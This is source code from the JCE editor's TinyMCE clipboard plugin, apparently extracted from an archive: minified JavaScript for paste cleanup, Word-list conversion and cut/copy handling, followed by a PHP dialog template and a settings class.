v=dom.getAttrib(el,"align");"left"!==v&&"right"!==v&&"center"!==v||(/(IFRAME|IMG|OBJECT|VIDEO|AUDIO|EMBED)/i.test(el.nodeName)?"center"===v?dom.setStyles(el,{margin:"auto",display:"block"}):dom.setStyle(el,"float",v):dom.setStyle(el,"text-align",v)),el.removeAttribute("align")})}function convertToPixels(v){return 0===parseInt(v,10)?0:(v.indexOf("pt")!==-1&&(v=parseInt(v,10),v=Math.ceil(v/1.33333),v=Math.abs(v)),v&&(v+="px"),v)}function isNumericList(text){var patterns,found="";return patterns={"uppper-roman":/^[IVXLMCD]{1,2}\.[ \u00a0]/,"lower-roman":/^[ivxlmcd]{1,2}\.[ \u00a0]/,"upper-alpha":/^[A-Z]{1,2}[\.\)][ \u00a0]/,"lower-alpha":/^[a-z]{1,2}[\.\)][ \u00a0]/,numeric:/^[0-9]+\.[ \u00a0]/,japanese:/^[\u3007\u4e00\u4e8c\u4e09\u56db\u4e94\u516d\u4e03\u516b\u4e5d]+\.[ \u00a0]/,chinese:/^[\u58f1\u5f10\u53c2\u56db\u4f0d\u516d\u4e03\u516b\u4e5d\u62fe]+\.[ \u00a0]/},text=text.replace(/^[\u00a0 ]+/,""),each(patterns,function(pattern,type){if(pattern.test(text))return found=type,!1}),found}function isBulletList(text){return/^[\s\u00a0]*[\u2022\u00b7\u00a7\u25CF]\s*/.test(text)}function WordFilter(editor,content){function convertFakeListsToProperLists(node){function getText(node){var txt="";if(3===node.type)return node.value;if(node=node.firstChild)do txt+=getText(node);while(node=node.next);return txt}function trimListStart(node,regExp){if(3===node.type&&regExp.test(node.value))return node.value=node.value.replace(regExp,""),!1;if(node=node.firstChild)do if(!trimListStart(node,regExp))return!1;while(node=node.next);return!0}function removeIgnoredNodes(node){if(node._listIgnore)return void node.remove();if(node=node.firstChild)do removeIgnoredNodes(node);while(node=node.next)}function convertParagraphToLi(paragraphNode,listName,start,type){var level=paragraphNode._listLevel||lastLevel;if(level!=lastLevel&&(level<lastLevel?currentListNode&&(currentListNode=currentListNode.parent.parent):(prevListNode=currentListNode,currentListNode=null)),currentListNode&&currentListNode.name==listName)currentListNode.append(paragraphNode);else{if(prevListNode=prevListNode||currentListNode,currentListNode=new Node(listName,1),type&&/roman|alpha/.test(type)){var style="list-style-type:"+type;currentListNode.attr({style:style,"data-mce-style":style})}start>1&&currentListNode.attr("start",""+start),paragraphNode.wrap(currentListNode)}paragraphNode.name="li",level>lastLevel&&prevListNode&&prevListNode.lastChild.append(currentListNode),lastLevel=level,removeIgnoredNodes(paragraphNode),trimListStart(paragraphNode,/^\u00a0+/),"ol"===currentListNode.name&&trimListStart(paragraphNode,/^\s*([\u2022\u00b7\u00a7\u25CF]|\w+\.)/),trimListStart(paragraphNode,/^\u00a0+/)}for(var currentListNode,prevListNode,lastLevel=1,elements=[],child=node.firstChild;"undefined"!=typeof child&&null!==child;)if(elements.push(child),child=child.walk(),null!==child)for(;"undefined"!=typeof child&&child.parent!==node;)child=child.walk();for(var i=0;i<elements.length;i++)if(node=elements[i],"p"==node.name&&node.firstChild){var type,nodeText=getText(node);if(isBulletList(nodeText)){convertParagraphToLi(node,"ul");continue}if(type=isNumericList(nodeText)){var matches=/([0-9]+)\./.exec(nodeText),start=1;matches&&(start=parseInt(matches[1],10)),convertParagraphToLi(node,"ol",start,type);continue}if(node._listLevel){convertParagraphToLi(node,"ul",1);continue}currentListNode=null}else prevListNode=currentListNode,currentListNode=null}function filterStyles(node,styleValue){var matches,outputStyles={},styles=editor.dom.parseStyle(styleValue);return each(styles,function(value,name){switch(name){case"mso-list":matches=/\w+ \w+([0-9]+)/i.exec(styleValue),matches&&(node._listLevel=parseInt(matches[1],10)),/Ignore/i.test(value)&&node.firstChild&&(node._listIgnore=!0,node.firstChild._listIgnore=!0);break;case"horiz-align":name="text-align";break;case"vert-align":name="vertical-align";break;case"font-color":case"mso-foreground":case"color":name="color","windowtext"==value&&(value="");break;case"mso-background":case"mso-highlight":name="background";break;case"font-weight":case"font-style":"normal"==value&&(value="");break;case"mso-element":if(/^(comment|comment-list)$/i.test(value))return void node.remove();break;case"margin-left":if("p"===node.name&&settings.paste_convert_indents!==!1){var indentValue=parseInt(editor.settings.indentation,10);value=parseInt(value,10),value=Math.round(value/indentValue)*indentValue,value&&(node.attr("data-mce-indent",""+value),value="")}}return 0===name.indexOf("mso-comment")?void node.remove():void(0!==name.indexOf("mso-")&&(value&&tinymce.inArray(pixelStyles,name)!==-1&&(value=convertToPixels(value)),validStyles[name]&&(outputStyles[name]=value)))}),/(bold)/i.test(outputStyles["font-weight"])&&(delete outputStyles["font-weight"],node.wrap(new Node("b",1))),/(italic)/i.test(outputStyles["font-style"])&&(delete outputStyles["font-style"],node.wrap(new Node("i",1))),outputStyles=editor.dom.serializeStyle(outputStyles,node.name),outputStyles?outputStyles:null}var keepStyles,removeStyles,settings=editor.settings,validStyles={};if(content=content.replace(/<meta([^>]+)>/,""),content=content.replace(/<style([^>]*)>([\w\W]*?)<\/style>/gi,function(match,attr,value){return settings.clipboard_paste_keep_word_styles!==!0?"":(value=cleanCssContent(value),"<style"+attr+">"+value+"</style>")}),content=content.replace(/Version:[\d.]+\nStartHTML:\d+\nEndHTML:\d+\nStartFragment:\d+\nEndFragment:\d+/gi,""),content=content.replace(/<b[^>]+id="?docs-internal-[^>]*>/gi,""),content=content.replace(/<br class="?Apple-interchange-newline"?>/gi,""),keepStyles=settings.clipboard_paste_retain_style_properties,removeStyles=settings.clipboard_paste_remove_style_properties,keepStyles&&tinymce.is(keepStyles,"string")&&(styleProps=tinymce.explode(keepStyles),each(styleProps,function(style,i){if("border"===style)return styleProps=styleProps.concat(borderStyles),!0})),removeStyles&&tinymce.is(removeStyles,"string")&&(removeProps=tinymce.explode(removeStyles),each(removeProps,function(style,i){if("border"===style)return removeProps=removeProps.concat(borderStyles),!0}),styleProps=tinymce.grep(styleProps,function(prop){return tinymce.inArray(removeProps,prop)===-1})),each(styleProps,function(style){return"border"===style?(each(borderStyles,function(name){validStyles[name]={}}),!0):void(validStyles[style]={})}),editor.getParam("clipboard_paste_remove_styles",1)&&(validStyles={}),settings.paste_enable_default_filters===!1)return content;content=filter(content,[/<!--[\s\S]+?-->/gi,/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,[/<(\/?)s>/gi,"<$1strike>"],[/&nbsp;/gi," "],[/<span\s+style\s*=\s*"\s*mso-spacerun\s*:\s*yes\s*;?\s*"\s*>([\s\u00a0]*)<\/span>/gi,function(str,spaces){return spaces.length>0?spaces.replace(/./," ").slice(Math.floor(spaces.length/2)).split("").join(" "):""}]]),settings.inline_styles&&(content=content.replace(/<(u|strike)>/gi,function(match,node){var value="u"===node?"underline":"line-through";return'<span style="text-decoration:'+value+';">'}),content=content.replace(/<\/(u|strike)>/g,"</span>")),content=content.replace(/<table([^>]+)>/,function($1,$2){return"html4"!==settings.schema&&($2=$2.replace(/(border|cell(padding|spacing))="([^"]+)"/gi,"")),"<table"+$2+">"}),settings.forced_root_block&&(content=content.replace(/<br><br>/gi,""));var validElements=settings.paste_word_valid_elements;validElements||(validElements="-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,-p/div,-a[href|name],img[src|alt|width|height],sub,sup,strike,br,del,table[width],tr,td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody");var schema=new Schema({valid_elements:validElements,valid_children:"-li[p]"});each(schema.elements,function(rule){rule.attributes.class||(rule.attributes.class={},rule.attributesOrder.push("class")),rule.attributes.style||(rule.attributes.style={},rule.attributesOrder.push("style"))});var domParser=new DomParser({},schema);domParser.addAttributeFilter("style",function(nodes){for(var node,i=nodes.length;i--;)node=nodes[i],node.attr("style",filterStyles(node,node.attr("style"))),"span"==node.name&&node.parent&&!node.attributes.length&&node.unwrap()}),domParser.addAttributeFilter("class",function(nodes){for(var node,className,i=nodes.length;i--;)node=nodes[i],className=node.attr("class"),/^(MsoCommentReference|MsoCommentText|msoDel)$/i.test(className)?node.remove():(/^Mso[\w]+/i.test(className)||editor.getParam("clipboard_paste_strip_class_attributes",2))&&node.attr("class",null)}),domParser.addNodeFilter("del",function(nodes){for(var i=nodes.length;i--;)nodes[i].remove()});var footnotes=editor.getParam("clipboard_paste_process_footnotes","convert");domParser.addNodeFilter("a",function(nodes){for(var node,href,name,i=nodes.length;i--;)if(node=nodes[i],href=node.attr("href"),name=node.attr("name"),href&&href.indexOf("#_msocom_")!=-1)node.remove();else if(href&&!name&&(href=editor.convertURL(href)),href&&0===href.indexOf("file://")&&(href=href.split("#")[1],href&&(href="#"+href)),href||name){if(name&&!/^_?(?:toc|edn|ftn)/i.test(name)){node.unwrap();continue}if(name&&"remove"===footnotes){node.remove();continue}if(name&&"unlink"===footnotes){node.unwrap();continue}node.attr({href:href,name:null}),"html4"===settings.schema?node.attr("name",name):node.attr("id",name)}else node.unwrap()}),domParser.addNodeFilter("span",function(nodes){for(var node,i=nodes.length;i--;)node=nodes[i],node.parent&&!node.attributes.length&&node.unwrap()}),editor.getParam("clipboard_paste_remove_paragraph_in_table_cell")&&domParser.addNodeFilter("td",function(nodes){for(var node,firstChild,lastChild,i=nodes.length;i--;)node=nodes[i],firstChild=node.firstChild,lastChild=node.lastChild,"p"===firstChild.name&&firstChild===lastChild&&firstChild.unwrap()});var rootNode=domParser.parse(content);return settings.paste_convert_word_fake_lists!==!1&&convertFakeListsToProperLists(rootNode),content=new Serializer({validate:settings.validate},schema).serialize(rootNode)}function convertURLs(ed,content){var ex="([-!#$%&'*+\\./0-9=?A-Z^_`a-z{|}~]+@[-!#$%&'*+\\/0-9=?A-Z^_`a-z{|}~]+.[-!#$%&'*+\\./0-9=?A-Z^_`a-z{|}~]+)",ux="((news|telnet|nttp|file|http|ftp|https)://[-!#$%&'*+\\/0-9=?A-Z^_`a-z{|}~;]+.[-!#$%&'*+\\./0-9=?A-Z^_`a-z{|}~;]+)";return ed.getParam("autolink_url",!0)&&(content=content.replace(new RegExp("(=[\"']|>)?"+ux,"g"),function(a,b,c){if(!b){var attribs=['href="'+c+'"'];return ed.settings.default_link_target&&attribs.push('target="'+ed.settings.default_link_target+'"'),"<a "+attribs.join(" ")+">"+c+"</a>"}return a})),ed.getParam("autolink_email",!0)&&(content=content.replace(new RegExp("(=[\"']mailto:|>)?"+ex,"g"),function(a,b,c){return b?a:'<a href="mailto:'+c+'">'+c+"</a>"})),content}function getDataTransferItems(dataTransfer){var items={};if(dataTransfer){if(dataTransfer.getData){var legacyText=dataTransfer.getData("Text");legacyText&&legacyText.length>0&&(items["text/plain"]=legacyText)}if(dataTransfer.types)for(var i=0;i<dataTransfer.types.length;i++){var contentType=dataTransfer.types[i];items[contentType]=dataTransfer.getData(contentType)}}return items}function getClipboardContent(editor,clipboardEvent){var content=getDataTransferItems(clipboardEvent.clipboardData||editor.getDoc().dataTransfer);return navigator.userAgent.indexOf(" Edge/")!==-1&&(content=tinymce.extend(content,{"text/html":""})),content}function isKeyboardPasteEvent(e){return VK.metaKeyPressed(e)&&86==e.keyCode||e.shiftKey&&45==e.keyCode}function hasContentType(clipboardContent,mimeType){return mimeType in clipboardContent&&clipboardContent[mimeType].length>0}var each=tinymce.each,VK=tinymce.VK,Event=tinymce.dom.Event,Schema=tinymce.html.Schema,DomParser=tinymce.html.DomParser,Serializer=tinymce.html.Serializer,Node=tinymce.html.Node,styleProps=(tinymce.html.Entities,["background","background-attachment","background-color","background-image","background-position","background-repeat","border","border-bottom","border-bottom-color","border-bottom-style","border-bottom-width","border-color","border-left","border-left-color","border-left-style","border-left-width","border-right","border-right-color","border-right-style","border-right-width","border-style","border-top","border-top-color","border-top-style","border-top-width","border-width","outline","outline-color","outline-style","outline-width","height","max-height","max-width","min-height","min-width","width","font","font-family","font-size","font-style","font-variant","font-weight","content","counter-increment","counter-reset","quotes","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","padding","padding-bottom","padding-left","padding-right","padding-top","bottom","clear","clip","cursor","display","float","left","overflow","position","right","top","visibility","z-index","orphans","page-break-after","page-break-before","page-break-inside","widows","border-collapse","border-spacing","caption-side","empty-cells","table-layout","color","direction","letter-spacing","line-height","text-align","text-decoration","text-indent","text-shadow","text-transform","unicode-bidi","vertical-align","white-space","word-spacing"]),pixelStyles=["width","height","min-width","max-width","min-height","max-height","margin-top","margin-right","margin-bottom","margin-left","padding-top","padding-right","padding-bottom","padding-left","border-top-width","border-right-width","border-bottom-width","border-left-width"],borderStyles=["border","border-width","border-style","border-color","border-top","border-right","border-bottom","border-left","border-top-width","border-right-width","border-bottom-width","border-left-width","border-top-color","border-right-color","border-bottom-color","border-left-color","border-top-style","border-right-style","border-bottom-style","border-left-style"],backgroundStyles={"background-image":"none","background-position":"0% 0%","background-size":"auto auto","background-repeat":"repeat","background-origin":"padding-box","background-clip":"border-box","background-attachment":"scroll","background-color":"transparent"},ooRe=/(Version:[\d\.]+)\s*?((Start|End)(HTML|Fragment):[\d]+\s*?){4}/,isMsEdge=function(){return navigator.userAgent.indexOf(" Edge/")!==-1},InternalHtml=function(){var internalMimeType="x-tinymce/html",internalMark="<!-- "+internalMimeType+" -->",mark=function(html){return internalMark+html},unmark=function(html){return html.replace(internalMark,"")},isMarked=function(html){return html.indexOf(internalMark)!==-1};return{mark:mark,unmark:unmark,isMarked:isMarked,internalHtmlMime:function(){return internalMimeType}}},InternalHtml=new InternalHtml,CutCopy=function(editor){var noop=function(){},hasWorkingClipboardApi=function(clipboardData){return tinymce.isIOS===!1&&void 0!==clipboardData&&"function"==typeof clipboardData.setData&&isMsEdge()!==!0},setHtml5Clipboard=function(clipboardData,html,text){if(!hasWorkingClipboardApi(clipboardData))return!1;try{return clipboardData.clearData(),clipboardData.setData("text/html",html),clipboardData.setData("text/plain",text),clipboardData.setData(InternalHtml.internalHtmlMime(),html),!0}catch(e){return!1}},setClipboardData=function(evt,data,fallback,done){setHtml5Clipboard(evt.clipboardData,data.html,data.text)?(evt.preventDefault(),done()):fallback(data.html,done)},fallback=function(editor){return function(html,done){var markedHtml=InternalHtml.mark(html),outer=editor.dom.create("div",{contenteditable:"false","data-mce-bogus":"all"}),inner=editor.dom.create("div",{contenteditable:"true"},markedHtml);editor.dom.setStyles(outer,{position:"fixed",left:"-3000px",width:"1000px",overflow:"hidden"}),outer.appendChild(inner),editor.dom.add(editor.getBody(),outer);var range=editor.selection.getRng();inner.focus();var offscreenRange=editor.dom.createRng();offscreenRange.selectNodeContents(inner),editor.selection.setRng(offscreenRange),setTimeout(function(){outer.parentNode.removeChild(outer),editor.selection.setRng(range),done()},0)}},getData=function(editor){return{html:editor.selection.getContent({contextual:!0}),text:editor.selection.getContent({format:"text"})}},cut=function(editor,evt){editor.selection.isCollapsed()===!1&&setClipboardData(evt,getData(editor),fallback(editor),function(){setTimeout(function(){editor.execCommand("Delete")},0)})},copy=function(editor,evt){editor.selection.isCollapsed()===!1&&setClipboardData(evt,getData(editor),fallback(editor),noop)},register=function(editor){editor.onCut.add(cut),editor.onCopy.add(copy)};return{register:register}},parseCssToRules=function(content){var doc=document.implementation.createHTMLDocument(""),styleElement=document.createElement("style");return styleElement.textContent=content,doc.body.appendChild(styleElement),styleElement.sheet.cssRules},Newlines=function(){var Entities=tinymce.html.Entities,isPlainText=function(text){return!/<(?:(?!\/?(?:div|p|br))[^>]*|(?:div|p|br)\s+\w[^>]+)>/.test(text)},toBRs=function(text){return text.replace(/\r?\n/g,"<br>")},openContainer=function(rootTag,rootAttrs){var key,attrs=[],tag="<"+rootTag;if("object"==typeof rootAttrs){for(key in rootAttrs)rootAttrs.hasOwnProperty(key)&&attrs.push(key+'="'+Entities.encodeAllRaw(rootAttrs[key])+'"');attrs.length&&(tag+=" "+attrs.join(" "))}return tag+">"},toBlockElements=function(text,rootTag,rootAttrs){var isLast,newlineFollows,isSingleNewline,pieces=text.split(/\r?\n/),i=0,len=pieces.length,stack=[],blocks=[],tagOpen=openContainer(rootTag,rootAttrs),tagClose="</"+rootTag+">";if(1===pieces.length)return text;for(;i<len;i++)isLast=i===len-1,newlineFollows=!isLast&&!pieces[i+1],isSingleNewline=!pieces[i]&&!stack.length,stack.push(pieces[i]?pieces[i]:"&nbsp;"),(isLast||newlineFollows||isSingleNewline)&&(blocks.push(stack.join("<br>")),stack=[]),newlineFollows&&i++;return 1===blocks.length?blocks[0]:tagOpen+blocks.join(tagClose+tagOpen)+tagClose},convert=function(text,rootTag,rootAttrs){return rootTag?toBlockElements(text,rootTag,rootAttrs):toBRs(text)};return{isPlainText:isPlainText,convert:convert,toBRs:toBRs,toBlockElements:toBlockElements}},isIE=tinymce.isIE||tinymce.isIE12;tinymce.create("tinymce.plugins.ClipboardPlugin",{init:function(ed,url){function pasteText(text){text=text.replace(/\r\n/g,"\n"),text=(new Newlines).convert(text,ed.settings.forced_root_block,ed.settings.forced_root_block_attrs),pasteHtml(text)}function pasteHtml(content,internal){var o={content:content,internal:internal};if(!internal&&(self.onPreProcess.dispatch(self,o),ed.getParam("clipboard_paste_convert_urls",!0)&&(o.content=convertURLs(ed,o.content)),o.node=ed.dom.create("div",0,o.content),self.onPostProcess.dispatch(self,o),o.content=ed.serializer.serialize(o.node,{getInner:1,forced_root_block:""}),ed.getParam("clipboard_paste_remove_empty_paragraphs",!0)&&(o.content=o.content.replace(/<p([^>]+)>(&nbsp;|\u00a0)?<\/p>/g,"")),ed.getParam("clipboard_paste_filter"))){var re,rules=ed.getParam("clipboard_paste_filter").split(";");each(rules,function(s){re=/^\/.*\/(g|i|m)*$/.test(s)?new Function("return "+s)():new RegExp(s),o.content=o.content.replace(re,"")})}self._insert(o.content),self.pasteAsPlainText=!1}function insertClipboardContent(clipboardContent,internal){var content,isPlainTextHtml;if(content=clipboardContent["x-tinymce/html"]||clipboardContent["text/html"],content=trimHtml(content),content!==pasteBinDefaultContent)return self.pasteAsPlainText?(isPlainTextHtml=internal===!1&&(new Newlines).isPlainText(content),content=hasContentType(clipboardContent,"text/plain")&&isPlainTextHtml?clipboardContent["text/plain"]:innerText(content),pasteText(content),!0):void pasteHtml(content,internal)}function createPasteBin(){function getCaretRect(rng){var rects,textNode,node,container=rng.startContainer;if(rects=rng.getClientRects(),rects.length)return rects[0];if(rng.collapsed&&1==container.nodeType){for(node=container.childNodes[lastRng.startOffset];node&&3==node.nodeType&&!node.data.length;)node=node.nextSibling;if(node)return"BR"==node.tagName&&(textNode=dom.doc.createTextNode("\ufeff"),node.parentNode.insertBefore(textNode,node),rng=dom.createRng(),rng.setStartBefore(textNode),rng.setEndAfter(textNode),rects=rng.getClientRects(),dom.remove(textNode)),rects.length?rects[0]:void 0}}var scrollContainer,dom=ed.dom,body=ed.getBody(),viewport=ed.dom.getViewPort(ed.getWin()),scrollTop=viewport.y,top=20;if(lastRng=ed.selection.getRng(),lastRng.getClientRects){var rect=getCaretRect(lastRng);if(rect)top=scrollTop+(rect.top-dom.getPos(body).y);else{top=scrollTop;var container=lastRng.startContainer;container&&(3==container.nodeType&&container.parentNode!=body&&(container=container.parentNode),1==container.nodeType&&(top=dom.getPos(container,scrollContainer||body).y))}}pasteBinElm=dom.add(ed.getBody(),"div",{id:"mcepastebin",contentEditable:!0,"data-mce-bogus":"all",style:"position: absolute; top: "+top+"px;width: 10px; height: 10px; overflow: hidden; opacity: 0"},pasteBinDefaultContent),(isIE||tinymce.isGecko)&&dom.setStyle(pasteBinElm,"left","rtl"==dom.getStyle(body,"direction",!0)?65535:-65535),pasteBinElm.focus(),ed.selection.select(pasteBinElm,!0)}function removePasteBin(){if(pasteBinElm){for(var pasteBinClone;pasteBinClone=ed.dom.get("mcepastebin");)ed.dom.remove(pasteBinClone),ed.dom.unbind(pasteBinClone);lastRng&&ed.selection.setRng(lastRng)}pasteBinElm=lastRng=null}function getPasteBinHtml(){var pasteBinClones,i,clone,cloneHtml,html="";for(pasteBinClones=ed.dom.select("div[id=mcepastebin]"),i=0;i<pasteBinClones.length;i++)clone=pasteBinClones[i],clone.firstChild&&"mcepastebin"==clone.firstChild.id&&(clone=clone.firstChild),cloneHtml=clone.innerHTML,html!=pasteBinDefaultContent&&(html+=cloneHtml);return html}function getContentFromPasteBin(e){function block(e){e.preventDefault()}var dom=ed.dom;if(!dom.get("mcepastebin")){if(createPasteBin(),isIE&&isIE<11){var rng;rng=dom.doc.body.createTextRange(),rng.moveToElementText(pasteBinElm),rng.execCommand("Paste");var html=pasteBinElm.innerHTML;return html===pasteBinDefaultContent?void e.preventDefault():(removePasteBin(),setTimeout(function(){insertClipboardContent({"text/html":html})},0),void Event.cancel(e))}dom.bind(ed.getDoc(),"mousedown",block),dom.bind(ed.getDoc(),"keydown",block),window.setTimeout(function(){var html=getPasteBinHtml();removePasteBin(),insertClipboardContent({"text/html":html}),dom.unbind(ed.getDoc(),"mousedown",block),dom.unbind(ed.getDoc(),"keydown",block)},0)}}function isHtmlPaste(content){return!!hasContentType(content,"text/html")}function isSafari(){var ua=navigator.userAgent;return ua.indexOf("AppleWebKit")!==-1&&ua.indexOf("Safari")!==-1}function isPlainTextPaste(content){return!!self.pasteAsPlainText||!isIE&&(!hasContentType(content,"text/html")&&(!!hasContentType(content,"text/plain")&&!(isSafari()&&"text/rtf"in content)))}var self=this;self.editor=ed,self.url=url,(new CutCopy).register(ed);var pasteBinElm,lastRng,keyboardPastePlainTextState,pasteBinDefaultContent="%MCEPASTEBIN%";this.canPaste=!1,this.pasteAsPlainText=!1,
self.onPreProcess=new tinymce.util.Dispatcher(this),self.onPostProcess=new tinymce.util.Dispatcher(this),ed.onGetClipboardContent=new tinymce.util.Dispatcher(this),ed.onPastePreProcess=new tinymce.util.Dispatcher(this),ed.onPastePostProcess=new tinymce.util.Dispatcher(this),tinymce.isWebKit&&self.onPreProcess.add(function(self,o){removeWebKitStyles(self,o)}),isIE&&self.onPreProcess.add(function(self,o){removeExplorerBrElementsAfterBlocks(self,o)}),self.onPreProcess.add(function(self,o){preProcess(self,o)}),self.onPostProcess.add(function(self,o){postProcess(self,o)}),self.onPreProcess.add(function(pl,o){ed.onPastePreProcess.dispatch(ed,o),ed.execCallback("paste_preprocess",pl,o)}),self.onPostProcess.add(function(pl,o){ed.onPastePostProcess.dispatch(ed,o),ed.execCallback("paste_postprocess",pl,o)}),self.pasteText=ed.getParam("clipboard_paste_text",1),self.pasteHtml=ed.getParam("clipboard_paste_html",1),ed.addCommand("mceInsertClipboardContent",function(u,data){self.pasteAsPlainText=!1,data.text&&(self.pasteAsPlainText=!0,pasteText(data.text)),data.content&&pasteHtml(data.content)}),ed.onInit.add(function(){ed.plugins.contextmenu&&ed.plugins.contextmenu.onContextMenu.add(function(th,m,e){var c=ed.selection.isCollapsed();ed.getParam("clipboard_cut",1)&&m.add({title:"advanced.cut_desc",icon:"cut",cmd:"Cut"}).setDisabled(c),ed.getParam("clipboard_copy",1)&&m.add({title:"advanced.copy_desc",icon:"copy",cmd:"Copy"}).setDisabled(c),self.pasteHtml&&m.add({title:"clipboard.paste_desc",icon:"paste",cmd:"mcePaste"}),self.pasteText&&m.add({title:"clipboard.paste_text_desc",icon:"pastetext",cmd:"mcePasteText"})})}),ed.onKeyDown.add(function(ed,e){return!ed.getParam("clipboard_allow_cut",1)&&VK.metaKeyPressed&&88==e.keyCode?(e.preventDefault(),!1):!ed.getParam("clipboard_allow_copy",1)&&VK.metaKeyPressed&&67==e.keyCode?(e.preventDefault(),!1):void(isKeyboardPasteEvent(e)&&!e.isDefaultPrevented()&&(e.stopImmediatePropagation(),keyboardPastePlainTextState=e.shiftKey&&86==e.keyCode,keyboardPastePlainTextState&&(self.pasteAsPlainText=!0,getContentFromPasteBin(e))))}),ed.onPaste.add(function(ed,e){var clipboardContent=getClipboardContent(ed,e),internal=hasContentType(clipboardContent,InternalHtml.internalHtmlMime());if(ed.onGetClipboardContent.dispatch(ed,clipboardContent),!internal&&isPlainTextPaste(clipboardContent)){e.preventDefault();var text=clipboardContent["text/plain"];return self.pasteAsPlainText=!0,void pasteText(text)}return isHtmlPaste(clipboardContent)?(internal||(internal=InternalHtml.isMarked(clipboardContent["text/html"])),e.preventDefault(),void insertClipboardContent(clipboardContent,internal)):void getContentFromPasteBin(e)}),ed.getParam("clipboard_paste_block_drop")&&ed.onInit.add(function(){ed.dom.bind(ed.getBody(),["dragend","dragover","draggesture","dragdrop","drop","drag"],function(e){return e.preventDefault(),e.stopPropagation(),!1})}),each(["Cut","Copy"],function(command){ed.addCommand(command,function(){var failed,doc=ed.getDoc();try{doc.execCommand(command,!1,null)}catch(ex){failed=!0}var msg=ed.getLang("clipboard_msg","");msg=msg.replace(/\%s/g,tinymce.isMac?"CMD":"CTRL"),!failed&&doc.queryCommandSupported(command)||(tinymce.isGecko?ed.windowManager.confirm(msg,function(state){state&&open("http://www.mozilla.org/editor/midasdemo/securityprefs.html","_blank")}):ed.windowManager.alert(ed.getLang("clipboard_no_support")))})}),each(["mcePasteText","mcePaste"],function(cmd){ed.addCommand(cmd,function(){var failed,doc=ed.getDoc();if(ed.getParam("clipboard_paste_use_dialog")||isIE&&!doc.queryCommandEnabled("Paste"))return self._openWin(cmd);try{self.pasteAsPlainText="mcePasteText"===cmd,doc.execCommand("Paste",!1,null)}catch(e){failed=!0}return doc.queryCommandEnabled("Paste")||(failed=!0),failed?self._openWin(cmd):void 0})}),self.pasteHtml&&ed.addButton("paste",{title:"clipboard.paste_desc",cmd:"mcePaste",ui:!0}),self.pasteText&&ed.addButton("pastetext",{title:"clipboard.paste_text_desc",cmd:"mcePasteText",ui:!0}),ed.getParam("clipboard_cut",1)&&ed.addButton("cut",{title:"advanced.cut_desc",cmd:"Cut",icon:"cut"}),ed.getParam("clipboard_copy",1)&&ed.addButton("copy",{title:"advanced.copy_desc",cmd:"Copy",icon:"copy"})},_openWin:function(cmd){var ed=this.editor;ed.windowManager.open({file:ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=clipboard&cmd="+cmd,width:parseInt(ed.getParam("clipboard_paste_dialog_width","450")),height:parseInt(ed.getParam("clipboard_paste_dialog_height","400")),inline:1,popup_css:!1},{cmd:cmd})},_insert:function(content,skip_undo){var ed=this.editor,validate=ed.settings.validate;ed.settings.validate=!0,ed.execCommand("mceInsertContent",!1,content),ed.settings.validate=validate}}),tinymce.PluginManager.add("clipboard",tinymce.plugins.ClipboardPlugin)}();editor/tiny_mce/plugins/clipboard/tmpl/index.html000060400000000054150750527140016233 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/clipboard/tmpl/default.php000060400000001456150750527140016402 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('WF_EDITOR') or die('RESTRICTED');
?>
<form onsubmit="return false;" action="#">
	<h5 id="title"><?php echo WFText::_('WF_PASTE_TITLE'); ?></h5>
	<div id="container"></div>

	<div class="actionPanel">
	<button id="insert"><?php echo WFText::_('WF_LABEL_INSERT'); ?></button>
	<button id="cancel"><?php echo WFText::_('WF_LABEL_CANCEL'); ?></button>
	</div>
</form>
editor/tiny_mce/plugins/clipboard/classes/config.php000060400000005331150750527140016700 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFClipboardPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        $settings['clipboard_paste_dialog_width'] = $wf->getParam('clipboard.paste_dialog_width', 450, 450);
        $settings['clipboard_paste_dialog_height'] = $wf->getParam('clipboard.paste_dialog_height', 400, 400);
        $settings['clipboard_paste_use_dialog'] = $wf->getParam('clipboard.paste_use_dialog', 0, 0, 'boolean');
        $settings['clipboard_paste_force_cleanup'] = $wf->getParam('clipboard.paste_force_cleanup', 0, 0, 'boolean');
        $settings['clipboard_paste_strip_class_attributes'] = $wf->getParam('clipboard.paste_strip_class_attributes', 2, 2);
        $settings['clipboard_paste_remove_styles'] = $wf->getParam('clipboard.paste_remove_styles', 1, 1, 'boolean');
        $settings['clipboard_paste_retain_style_properties'] = $wf->getParam('clipboard.paste_retain_style_properties', '', '');
        $settings['clipboard_paste_remove_style_properties'] = $wf->getParam('clipboard.paste_remove_style_properties', '', '');
        $settings['clipboard_paste_remove_spans'] = $wf->getParam('clipboard.paste_remove_spans', 0, 0, 'boolean');
        $settings['clipboard_paste_remove_attributes'] = $wf->getParam('clipboard.paste_remove_attributes', '', '');
        $settings['clipboard_paste_remove_styles_if_webkit'] = $wf->getParam('clipboard.paste_remove_styles_if_webkit', 0, 0, 'boolean');
        $settings['clipboard_paste_remove_empty_paragraphs'] = $wf->getParam('clipboard.paste_remove_empty_paragraphs', 1, 1, 'boolean');
        $settings['clipboard_paste_text'] = $wf->getParam('clipboard.paste_text', 1, 1, 'boolean');
        $settings['clipboard_paste_html'] = $wf->getParam('clipboard.paste_html', 1, 1, 'boolean');

        $settings['clipboard_paste_process_footnotes'] = $wf->getParam('clipboard.paste_process_footnotes', 'convert', 'convert');
        $settings['clipboard_paste_upload_images'] = $wf->getParam('clipboard.paste_upload_images', 0, 0);

